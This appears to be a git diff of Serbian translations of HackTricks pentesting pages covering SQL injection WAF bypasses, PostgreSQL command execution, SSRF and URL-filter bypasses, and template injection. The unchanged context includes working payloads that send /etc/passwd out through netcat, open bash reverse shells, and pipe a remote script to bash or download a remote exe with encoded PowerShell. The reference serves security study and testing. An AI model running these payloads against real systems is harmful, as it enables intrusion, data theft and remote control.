[Početni bypassi odavde](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||||
|
||||
### No spaces bypass
|
||||
|
||||
No Space (%20) - zaobilaženje korišćenjem alternativa za razmake
|
||||
No Space (%20) - bypass koristeći alternative za razmake
|
||||
```sql
|
||||
?id=1%09and%091=1%09--
|
||||
?id=1%0Dand%0D1=1%0D--
|
||||
@ -404,7 +406,7 @@ No Whitespace - zaobilaženje korišćenjem komentara
|
||||
```sql
|
||||
?id=1/*comment*/and/**/1=1/**/--
|
||||
```
|
||||
Nema praznog prostora - zaobilaženje korišćenjem zagrada
|
||||
Bez razmaka - zaobilaženje korišćenjem zagrada
|
||||
```sql
|
||||
?id=(1)and(1)=(1)--
|
||||
```
|
||||
@ -416,7 +418,7 @@ LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
||||
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
||||
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
|
||||
```
|
||||
### Generic Bypasses
|
||||
### Generički Bypass
|
||||
|
||||
Crna lista koristeći ključne reči - zaobići koristeći velika/mala slova
|
||||
```sql
|
||||
@ -443,7 +445,7 @@ U suštini, možete koristiti naučnu notaciju na neočekivane načine da zaobi
|
||||
```
|
||||
### Bypass Column Names Restriction
|
||||
|
||||
Prvo, primetite da ako **originalni upit i tabela iz koje želite da izvučete zastavicu imaju istu količinu kolona** možete jednostavno uraditi: `0 UNION SELECT * FROM flag`
|
||||
Prvo, primetite da ako **originalni upit i tabela iz koje želite da izvučete zastavicu imaju isti broj kolona** možete jednostavno uraditi: `0 UNION SELECT * FROM flag`
|
||||
|
||||
Moguće je **pristupiti trećoj koloni tabele bez korišćenja njenog imena** koristeći upit poput sledećeg: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, tako da bi u sqlinjection ovo izgledalo ovako:
|
||||
```bash
|
||||
@ -457,18 +459,22 @@ Ili korišćenjem **comma bypass**:
|
||||
```
|
||||
Ova trik je preuzet sa [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
|
||||
|
||||
### Alati za predlaganje zaobilaženja WAF-a
|
||||
### WAF bypass sugerisanje alata
|
||||
|
||||
{% embed url="https://github.com/m4ll0k/Atlas" %}
|
||||
{{#ref}}
|
||||
https://github.com/m4ll0k/Atlas
|
||||
{{#endref}}
|
||||
|
||||
## Ostali vodiči
|
||||
|
||||
- [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||||
|
||||
## Lista za detekciju Brute-Force-a
|
||||
## Lista za detekciju Brute-Force
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
|
||||
{{#endref}}
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -14,7 +14,7 @@ Takođe, imajte na umu da **ako ne znate kako da** [**otpremite fajlove na žrtv
|
||||
|
||||
**Za više informacija proverite: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
|
||||
|
||||
Izvršenje sistemskih komandi iz PostgreSQL 8.1 i ranijih verzija je proces koji je jasno dokumentovan i jednostavan. Moguće je koristiti ovaj: [Metasploit modul](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
|
||||
Izvršavanje sistemskih komandi iz PostgreSQL 8.1 i ranijih verzija je proces koji je jasno dokumentovan i jednostavan. Moguće je koristiti ovo: [Metasploit modul](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
|
||||
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
|
||||
@ -92,7 +92,7 @@ PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0
|
||||
```
|
||||
Za kompatibilnost, od suštinskog je značaja da se glavne verzije usklade. Stoga, kompajliranje biblioteke sa bilo kojom verzijom unutar 9.6.x serije treba da obezbedi uspešnu integraciju.
|
||||
|
||||
Da biste instalirali tu verziju na vašem sistemu:
|
||||
Da instalirate tu verziju na vašem sistemu:
|
||||
```bash
|
||||
apt install postgresql postgresql-server-dev-9.6
|
||||
```
|
||||
@ -121,7 +121,9 @@ SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
|
||||
```
|
||||
Možete pronaći ovu **biblioteku unapred kompajliranu** za nekoliko različitih verzija PostgreSQL i čak možete **automatizovati ovaj proces** (ako imate pristup PostgreSQL) sa:
|
||||
|
||||
{% embed url="https://github.com/Dionach/pgexec" %}
|
||||
{{#ref}}
|
||||
https://github.com/Dionach/pgexec
|
||||
{{#endref}}
|
||||
|
||||
### RCE u Windows-u
|
||||
|
||||
@ -262,7 +264,7 @@ U **najnovijim verzijama** PostgreSQL-a, uvedena su ograničenja gde je `superus
|
||||
|
||||
Uprkos ovim ograničenjima, moguće je da autentifikovani `superuser` baze podataka **piše binarne datoteke** na datotečni sistem koristeći "velike objekte." Ova sposobnost se proteže na pisanje unutar direktorijuma `C:\Program Files\PostgreSQL\11\data`, što je od suštinskog značaja za operacije baze podataka kao što su ažuriranje ili kreiranje tabela.
|
||||
|
||||
Značajna ranjivost proizašla je iz komande `CREATE FUNCTION`, koja **dozvoljava pretraživanje direktorijuma** unutar direktorijuma podataka. Kao rezultat, autentifikovani napadač bi mogao **iskoristiti ovo pretraživanje** da napiše deljenu biblioteku u direktorijum podataka i zatim je **učita**. Ova eksploatacija omogućava napadaču da izvrši proizvoljan kod, postignuvši izvršavanje nativnog koda na sistemu.
|
||||
Značajna ranjivost proizašla je iz komande `CREATE FUNCTION`, koja **dozvoljava pretraživanje direktorijuma** u direktorijum podataka. Kao rezultat, autentifikovani napadač bi mogao **iskoristiti ovo pretraživanje** da napiše deljenu biblioteku u direktorijum podataka i zatim je **učita**. Ova eksploatacija omogućava napadaču da izvrši proizvoljan kod, postignuvši izvršavanje nativnog koda na sistemu.
|
||||
|
||||
#### Tok napada
|
||||
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
**Server-side Request Forgery (SSRF)** ranjivost se javlja kada napadač manipuliše **server-side aplikacijom** da pravi **HTTP zahteve** ka domenima po svom izboru. Ova ranjivost izlaže server proizvoljnim spoljnim zahtevima koje usmerava napadač.
|
||||
|
||||
## Zabeležite SSRF
|
||||
## Zabeleži SSRF
|
||||
|
||||
Prva stvar koju treba da uradite je da zabeležite SSRF interakciju koju ste generisali. Da biste zabeležili HTTP ili DNS interakciju, možete koristiti alate kao što su:
|
||||
|
||||
@ -22,7 +22,7 @@ Prva stvar koju treba da uradite je da zabeležite SSRF interakciju koju ste gen
|
||||
|
||||
## Zaobilaženje dozvoljenih domena
|
||||
|
||||
Obično ćete otkriti da SSRF funkcioniše samo u **određenim dozvoljenim domenima** ili URL-ovima. Na sledećoj stranici imate **kompilaciju tehnika za pokušaj zaobilaženja te liste**:
|
||||
Obično ćete otkriti da SSRF funkcioniše samo u **određenim dozvoljenim domenima** ili URL-ovima. Na sledećoj stranici imate **kompilaciju tehnika za pokušaj zaobilaženja te liste dozvoljenih domena**:
|
||||
|
||||
{{#ref}}
|
||||
url-format-bypass.md
|
||||
@ -40,7 +40,7 @@ Pročitajte više ovde: [https://portswigger.net/web-security/ssrf](https://port
|
||||
- **dict://**
|
||||
- DICT URL šema se opisuje kao korišćena za pristup definicijama ili listama reči putem DICT protokola. Dati primer ilustruje konstruisani URL koji cilja određenu reč, bazu podataka i broj unosa, kao i primer PHP skripte koja se potencijalno može zloupotrebiti za povezivanje sa DICT serverom koristeći napadačem obezbeđene akreditive: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
|
||||
- **SFTP://**
|
||||
- Identifikovan kao protokol za sigurni prenos datoteka preko sigurnog šela, dat je primer kako se PHP skripta može zloupotrebiti za povezivanje sa zlonamernim SFTP serverom: `url=sftp://generic.com:11111/`
|
||||
- Identifikovan kao protokol za sigurni prenos datoteka preko sigurnog šela, dat je primer kako se PHP skripta može zloupotrebiti za povezivanje sa zloćudnim SFTP serverom: `url=sftp://generic.com:11111/`
|
||||
- **TFTP://**
|
||||
- Trivial File Transfer Protocol, koji radi preko UDP, pominje se sa primerom PHP skripte dizajnirane da pošalje zahtev TFTP serveru. TFTP zahtev se šalje na 'generic.com' na portu '12346' za datoteku 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
|
||||
- **LDAP://**
|
||||
@ -55,7 +55,7 @@ From https://twitter.com/har1sec/status/1182255952055164929
|
||||
4. connect
|
||||
```
|
||||
- **Curl URL globbing - WAF zaobilaženje**
|
||||
- Ako se SSRF izvršava pomoću **curl**, curl ima funkciju pod nazivom [**URL globbing**](https://everything.curl.dev/cmdline/globbing) koja može biti korisna za zaobilaženje WAF-ova. Na primer, u ovom [**izveštaju**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) možete pronaći ovaj primer za **putanju prelaz preko `file` protokola**:
|
||||
- Ako se SSRF izvršava pomoću **curl**, curl ima funkciju koja se zove [**URL globbing**](https://everything.curl.dev/cmdline/globbing) koja može biti korisna za zaobilaženje WAF-ova. Na primer, u ovom [**izveštaju**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) možete pronaći ovaj primer za **putanju prelazaka putem `file` protokola**:
|
||||
```
|
||||
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
|
||||
```
|
||||
@ -206,7 +206,7 @@ app.run(threaded=False)
|
||||
```
|
||||
</details>
|
||||
|
||||
Flask omogućava korišćenje **`@`** kao početnog karaktera, što omogućava da se **početno ime hosta postavi kao korisničko ime** i da se umetne novo. Napadni zahtev:
|
||||
Flask omogućava korišćenje **`@`** kao početnog karaktera, što omogućava da se **početno ime hosta postavi kao korisničko ime** i injektuje novo. Napadni zahtev:
|
||||
```http
|
||||
GET @evildomain.com/ HTTP/1.1
|
||||
Host: target.com
|
||||
@ -278,9 +278,9 @@ Napad:
|
||||
1. Zatražite od korisnika/bota da **pristupi** **domeni** koju kontroliše **napadač**
|
||||
2. **TTL** **DNS-a** je **0** sek (tako da će žrtva uskoro ponovo proveriti IP domena)
|
||||
3. **TLS veza** se uspostavlja između žrtve i domena napadača. Napadač unosi **payload unutar** **Session ID ili Session Ticket**.
|
||||
4. **Domena** će započeti **beskonačnu petlju** preusmeravanja protiv **sebe**. Cilj je da se korisnik/bot ponovo poveže na domen dok ne izvrši **ponovo** **DNS zahtev** za domen.
|
||||
4. **Domena** će započeti **beskonačnu petlju** preusmeravanja protiv **sebe**. Cilj ovog je da se korisnik/bot ponovo poveže na domen dok ne izvrši **ponovo** **DNS zahtev** za domen.
|
||||
5. U DNS zahtevu se sada daje **privatna IP** adresa (127.0.0.1 na primer)
|
||||
6. Korisnik/bot će pokušati da **ponovo uspostavi TLS vezu** i da bi to uradio, **poslaće** **Session** ID/Ticket ID (gde je bio sadržan **payload** napadača). Čestitamo, uspeli ste da zatražite od **korisnika/bota da napadne sebe**.
|
||||
6. Korisnik/bot će pokušati da **ponovo uspostavi TLS vezu** i da bi to uradio, **poslaće** **Session** ID/Ticket ID (gde je bio sadržan **payload** napadača). Čestitamo, uspeli ste da zatražite da se **korisnik/bot napadne sam**.
|
||||
|
||||
Napomena: tokom ovog napada, ako želite da napadnete localhost:11211 (_memcache_), morate naterati žrtvu da uspostavi inicijalnu vezu sa www.attacker.com:11211 ( **port mora uvek biti isti**).\
|
||||
Da **izvršite ovaj napad možete koristiti alat**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
|
||||
@ -296,7 +296,7 @@ Razlika između slepe SSRF i ne slepe je u tome što u slepoj ne možete videti
|
||||
|
||||
## Cloud SSRF Eksploatacija
|
||||
|
||||
Ako pronađete SSRF ranjivost na mašini koja radi unutar cloud okruženja, možda ćete moći da dobijete zanimljive informacije o cloud okruženju, pa čak i akreditive:
|
||||
Ako pronađete SSRF ranjivost na mašini koja radi unutar cloud okruženja, možda ćete moći da dobijete zanimljive informacije o cloud okruženju i čak i akreditive:
|
||||
|
||||
{{#ref}}
|
||||
cloud-ssrf.md
|
||||
@ -339,9 +339,11 @@ _remote-method-guesser_ je _Java RMI_ skener ranjivosti koji podržava napadne o
|
||||
|
||||
SSRF Proxy je višedretveni HTTP proxy server dizajniran za tunelovanje HTTP saobraćaja klijenata kroz HTTP servere ranjive na Server-Side Request Forgery (SSRF).
|
||||
|
||||
### Da vežbate
|
||||
### Za vežbanje
|
||||
|
||||
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
|
||||
{{#ref}}
|
||||
https://github.com/incredibleindishell/SSRF_Vulnerable_Lab
|
||||
{{#endref}}
|
||||
|
||||
## Reference
|
||||
|
||||
|
@ -77,7 +77,7 @@ spoofed.burpcollaborator.net = 127.0.0.1
|
||||
```
|
||||
.png>)
|
||||
|
||||
**Burp ekstenzija** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implementira zaobilaženje formata IP adresa.
|
||||
**Burp ekstenzija** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implementira zaobilaženje formatiranja IP adresa.
|
||||
|
||||
### Parser domena
|
||||
```bash
|
||||
@ -143,9 +143,9 @@ http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
|
||||
#Parameter pollution
|
||||
next={domain}&next=attacker.com
|
||||
```
|
||||
### Obilaženje Putanja i Ekstenzija
|
||||
### Obilaženje putanja i ekstenzija
|
||||
|
||||
Ako je zahtevano da URL mora da se završi putanjom ili ekstenzijom, ili mora da sadrži putanju, možete pokušati jedno od sledećih obilaženja:
|
||||
Ako je potrebno da URL završi sa putanjom ili ekstenzijom, ili mora sadržati putanju, možete pokušati jedno od sledećih obilaženja:
|
||||
```
|
||||
https://metadata/vulerable/path#/expected/path
|
||||
https://metadata/vulerable/path#.extension
|
||||
@ -159,7 +159,9 @@ Alat [**recollapse**](https://github.com/0xacb/recollapse) može generisati vari
|
||||
|
||||
Pogledajte [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) od portswigger-a gde možete uneti dozvoljeni host i napadačev host, a on će generisati listu URL-ova koje možete isprobati. Takođe uzima u obzir da li možete koristiti URL u parametru, u Host header-u ili u CORS header-u.
|
||||
|
||||
{% embed url="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet" %}
|
||||
{{#ref}}
|
||||
https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
|
||||
{{#endref}}
|
||||
|
||||
### Bypass via redirect
|
||||
|
||||
|
@ -2,16 +2,15 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Šta je SSTI (Server-Side Template Injection)
|
||||
|
||||
Server-side template injection je ranjivost koja se javlja kada napadač može da ubaci zlonamerni kod u šablon koji se izvršava na serveru. Ova ranjivost se može naći u raznim tehnologijama, uključujući Jinja.
|
||||
|
||||
Jinja je popularni engine za šablone koji se koristi u web aplikacijama. Razmotrimo primer koji prikazuje ranjivi deo koda koristeći Jinja:
|
||||
Jinja je popularni engine za šablone koji se koristi u web aplikacijama. Razmotrimo primer koji ilustruje ranjivi deo koda koristeći Jinja:
|
||||
```python
|
||||
output = template.render(name=request.args.get('name'))
|
||||
```
|
||||
U ovom ranjivom kodu, `name` parametar iz korisničkog zahteva se direktno prosleđuje u šablon koristeći `render` funkciju. Ovo može potencijalno omogućiti napadaču da ubaci zlonamerni kod u `name` parametar, što dovodi do server-side template injection.
|
||||
U ovom ranjivom kodu, `name` parametar iz korisničkog zahteva se direktno prosleđuje u šablon koristeći `render` funkciju. Ovo može potencijalno omogućiti napadaču da ubaci maliciozni kod u `name` parametar, što dovodi do server-side template injection.
|
||||
|
||||
Na primer, napadač bi mogao da kreira zahtev sa payload-om poput ovog:
|
||||
```
|
||||
@ -19,20 +18,20 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||
```
|
||||
Payload `{{bad-stuff-here}}` se ubacuje u `name` parametar. Ovaj payload može sadržati Jinja template direktive koje omogućavaju napadaču da izvrši neovlašćen kod ili manipuliše template engine-om, potencijalno stičući kontrolu nad serverom.
|
||||
|
||||
Da bi se sprečile ranjivosti od server-side template injection, programeri treba da osiguraju da su korisnički unosi pravilno sanitizovani i validirani pre nego što budu ubačeni u template. Implementacija validacije unosa i korišćenje tehnika eskapiranja koje su svesne konteksta mogu pomoći u smanjenju rizika od ove ranjivosti.
|
||||
Da bi se sprečile ranjivosti od server-side template injection, programeri treba da osiguraju da je korisnički unos pravilno očišćen i validiran pre nego što bude umetnut u template. Implementacija validacije unosa i korišćenje tehnika kontekstualnog bega može pomoći u smanjenju rizika od ove ranjivosti.
|
||||
|
||||
### Detekcija
|
||||
|
||||
Da bi se detektovao Server-Side Template Injection (SSTI), inicijalno, **fuzzing template-a** je jednostavan pristup. Ovo uključuje ubacivanje niza specijalnih karaktera (**`${{<%[%'"}}%\`**) u template i analizu razlika u serverovom odgovoru na obične podatke u poređenju sa ovim specijalnim payload-om. Indikatori ranjivosti uključuju:
|
||||
|
||||
- Izbačene greške, koje otkrivaju ranjivost i potencijalno template engine.
|
||||
- Bacanje grešaka, otkrivajući ranjivost i potencijalno template engine.
|
||||
- Odsustvo payload-a u refleksiji, ili delovi nedostaju, što implicira da server obrađuje to drugačije nego obične podatke.
|
||||
- **Plaintext kontekst**: Razlikovati od XSS-a proverom da li server evaluira template izraze (npr. `{{7*7}}`, `${7*7}`).
|
||||
- **Kontekst koda**: Potvrditi ranjivost menjajući ulazne parametre. Na primer, menjajući `greeting` u `http://vulnerable-website.com/?greeting=data.username` da se vidi da li je serverov izlaz dinamičan ili fiksan, kao u `greeting=data.username}}hello` koji vraća korisničko ime.
|
||||
|
||||
#### Faza identifikacije
|
||||
|
||||
Identifikacija template engine-a uključuje analizu poruka o grešci ili ručno testiranje raznih payload-a specifičnih za jezik. Uobičajeni payload-i koji izazivaju greške uključuju `${7/0}`, `{{7/0}}`, i `<%= 7/0 %>`. Posmatranje serverovog odgovora na matematičke operacije pomaže u preciznom određivanju specifičnog template engine-a.
|
||||
Identifikacija template engine-a uključuje analizu poruka greške ili ručno testiranje raznih payload-a specifičnih za jezik. Uobičajeni payload-i koji izazivaju greške uključuju `${7/0}`, `{{7/0}}`, i `<%= 7/0 %>`. Posmatranje serverovog odgovora na matematičke operacije pomaže u preciznom određivanju specifičnog template engine-a.
|
||||
|
||||
#### Identifikacija putem payload-a
|
||||
|
||||
@ -61,7 +60,7 @@ python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
|
||||
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
|
||||
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
|
||||
```
|
||||
### [Tabela za Injekciju Šablona](https://github.com/Hackmanit/template-injection-table)
|
||||
### [Tabela za injekciju šablona](https://github.com/Hackmanit/template-injection-table)
|
||||
|
||||
interaktivna tabela koja sadrži najefikasnije poliglotne injekcije šablona zajedno sa očekivanim odgovorima 44 najvažnija engine-a za šablone.
|
||||
|
||||
@ -69,7 +68,7 @@ interaktivna tabela koja sadrži najefikasnije poliglotne injekcije šablona zaj
|
||||
|
||||
### Generički
|
||||
|
||||
U ovoj **listi reči** možete pronaći **definisane varijable** u okruženjima nekih od engine-a pomenutih u nastavku:
|
||||
U ovoj **reči** možete pronaći **definisane varijable** u okruženjima nekih od engine-a pomenutih u nastavku:
|
||||
|
||||
- [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
|
||||
- [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)
|
||||
@ -111,7 +110,7 @@ ${"freemarker.template.utility.Execute"?new()("id")}
|
||||
|
||||
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
|
||||
```
|
||||
**Freemarker - Obilaženje sandboks**
|
||||
**Freemarker - Obilaženje sandboks zaštite**
|
||||
|
||||
⚠️ radi samo na Freemarker verzijama ispod 2.3.30
|
||||
```java
|
||||
@ -156,7 +155,7 @@ $out.read()
|
||||
|
||||
### Thymeleaf
|
||||
|
||||
U Thymeleaf-u, uobičajeni test za SSTI ranjivosti je izraz `${7*7}`, koji se takođe primenjuje na ovaj engine za šablone. Za potencijalnu daljinsku izvršavanje koda, mogu se koristiti izrazi poput sledećih:
|
||||
U Thymeleaf-u, uobičajeni test za SSTI ranjivosti je izraz `${7*7}`, koji se takođe primenjuje na ovaj template engine. Za potencijalnu daljinsku izvršavanje koda, mogu se koristiti izrazi poput sledećih:
|
||||
|
||||
- SpringEL:
|
||||
|
||||
@ -262,7 +261,7 @@ Stara verzija Pebble ( < verzija 3.0.9):
|
||||
```java
|
||||
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
|
||||
```
|
||||
Nova verzija Pebble :
|
||||
Nova verzija Pebble:
|
||||
```java
|
||||
{% raw %}
|
||||
{% set cmd = 'id' %}
|
||||
@ -317,7 +316,7 @@ Ispravljeno putem [https://github.com/HubSpot/jinjava/pull/230](https://github.c
|
||||
- `{{'a'.toUpperCase()}}` - "A"
|
||||
- `{{'a'.concat('b')}}` - "ab"
|
||||
- `{{'a'.getClass()}}` - java.lang.String
|
||||
- `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
|
||||
- `{{request.getClass()}}` - klasa com.hubspot.content.hubl.context.TemplateContextRequest
|
||||
- `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
|
||||
|
||||
Pretražujte "com.hubspot.content.hubl.context.TemplateContextRequest" i otkriven je [Jinjava projekat na Githubu](https://github.com/HubSpot/jinjava/).
|
||||
@ -376,10 +375,10 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
||||
Expression Language (EL) je osnovna funkcija koja olakšava interakciju između prezentacionog sloja (kao što su web stranice) i aplikacione logike (kao što su managed beans) u JavaEE. Široko se koristi u više JavaEE tehnologija za pojednostavljenje ove komunikacije. Ključne JavaEE tehnologije koje koriste EL uključuju:
|
||||
|
||||
- **JavaServer Faces (JSF)**: Koristi EL za povezivanje komponenti u JSF stranicama sa odgovarajućim podacima i akcijama na backendu.
|
||||
- **JavaServer Pages (JSP)**: EL se koristi u JSP za pristup i manipulaciju podacima unutar JSP stranica, olakšavajući povezivanje elemenata stranice sa aplikacionim podacima.
|
||||
- **JavaServer Pages (JSP)**: EL se koristi u JSP za pristup i manipulaciju podacima unutar JSP stranica, olakšavajući povezivanje elemenata stranice sa podacima aplikacije.
|
||||
- **Contexts and Dependency Injection for Java EE (CDI)**: EL se integriše sa CDI kako bi omogućio nesmetanu interakciju između web sloja i managed beans, osiguravajući koherentniju strukturu aplikacije.
|
||||
|
||||
Pogledajte sledeću stranicu da biste saznali više o **eksploataciji EL interpretera**:
|
||||
Pogledajte sledeću stranicu da biste saznali više o **iskorišćavanju EL interpretera**:
|
||||
|
||||
{{#ref}}
|
||||
el-expression-language.md
|
||||
@ -418,8 +417,6 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
||||
|
||||
- Više informacija na [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||
|
||||
|
||||
|
||||
##
|
||||
|
||||
### Smarty (PHP)
|
||||
@ -696,7 +693,7 @@ URLencoded:
|
||||
- `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`
|
||||
- `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}`
|
||||
|
||||
**Primer renderovanja sa servera**
|
||||
**Primer server side render**
|
||||
```javascript
|
||||
var pugjs = require("pug")
|
||||
home = pugjs.render(injected_page)
|
||||
@ -770,7 +767,7 @@ range.constructor(
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
|
||||
|
||||
### Ostali Ruby
|
||||
### Drugi Ruby
|
||||
|
||||
<figure><img src="../../images/image (4).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg</a></p></figcaption></figure>
|
||||
|
||||
@ -780,7 +777,7 @@ range.constructor(
|
||||
|
||||
### Python
|
||||
|
||||
Pogledajte sledeću stranicu da biste naučili trikove o **izvršavanju proizvoljnih komandi zaobilaženjem sandboksova** u pythonu:
|
||||
Pogledajte sledeću stranicu da biste naučili trikove o **zaobilaženju izvršavanja proizvoljnih komandi u sandboxes** u pythonu:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
||||
@ -815,7 +812,7 @@ Pogledajte sledeću stranicu da biste naučili trikove o **izvršavanju proizvol
|
||||
|
||||
### Jinja2 (Python)
|
||||
|
||||
[Zvanična stranica](http://jinja.pocoo.org)
|
||||
[Zvanična veb stranica](http://jinja.pocoo.org)
|
||||
|
||||
> Jinja2 je potpuno opremljen engine za šablone za Python. Ima punu podršku za unicode, opcioni integrisani sandboxed izvršni okruženje, široko korišćen i licenciran pod BSD.
|
||||
|
||||
@ -900,14 +897,14 @@ ${x}
|
||||
|
||||
### Razor (.Net)
|
||||
|
||||
- `@(2+2) <= Success`
|
||||
- `@() <= Success`
|
||||
- `@("{{code}}") <= Success`
|
||||
- `@ <=Success`
|
||||
- `@{} <= ERROR!`
|
||||
- `@{ <= ERRROR!`
|
||||
- `@(2+2) <= Uspeh`
|
||||
- `@() <= Uspeh`
|
||||
- `@("{{code}}") <= Uspeh`
|
||||
- `@ <= Uspeh`
|
||||
- `@{} <= GREŠKA!`
|
||||
- `@{ <= GREŠKA!`
|
||||
- `@(1+2)`
|
||||
- `@( //C#Code )`
|
||||
- `@( //C#Kod )`
|
||||
- `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
||||
- `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||
|
||||
@ -945,7 +942,7 @@ Metoda .NET `System.Diagnostics.Process.Start` može se koristiti za pokretanje
|
||||
|
||||
U Go-ovom engine-u za šablone, potvrda njegove upotrebe može se izvršiti sa specifičnim payload-ima:
|
||||
|
||||
- `{{ . }}`: Otkrije strukturu podataka koja je uneta. Na primer, ako je objekat sa atributom `Password` prosleđen, `{{ .Password }}` bi mogao da ga otkrije.
|
||||
- `{{ . }}`: Otkrije strukturu podataka. Na primer, ako je objekat sa atributom `Password` prosleđen, `{{ .Password }}` bi mogao da ga otkrije.
|
||||
- `{{printf "%s" "ssti" }}`: Očekuje se da prikaže string "ssti".
|
||||
- `{{html "ssti"}}`, `{{js "ssti"}}`: Ovi payload-ovi bi trebali da vrate "ssti" bez dodavanja "html" ili "js". Dalje direktive mogu se istražiti u Go dokumentaciji [ovde](https://golang.org/pkg/text/template).
|
||||
|
||||
@ -953,7 +950,7 @@ U Go-ovom engine-u za šablone, potvrda njegove upotrebe može se izvršiti sa s
|
||||
|
||||
**XSS Eksploatacija**
|
||||
|
||||
Sa paketom `text/template`, XSS može biti jednostavan umetanje payload-a direktno. Nasuprot tome, paket `html/template` kodira odgovor kako bi to sprečio (npr., `{{"<script>alert(1)</script>"}}` rezultira u `<script>alert(1)</script>`). Ipak, definicija i pozivanje šablona u Go-u mogu zaobići ovo kodiranje: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
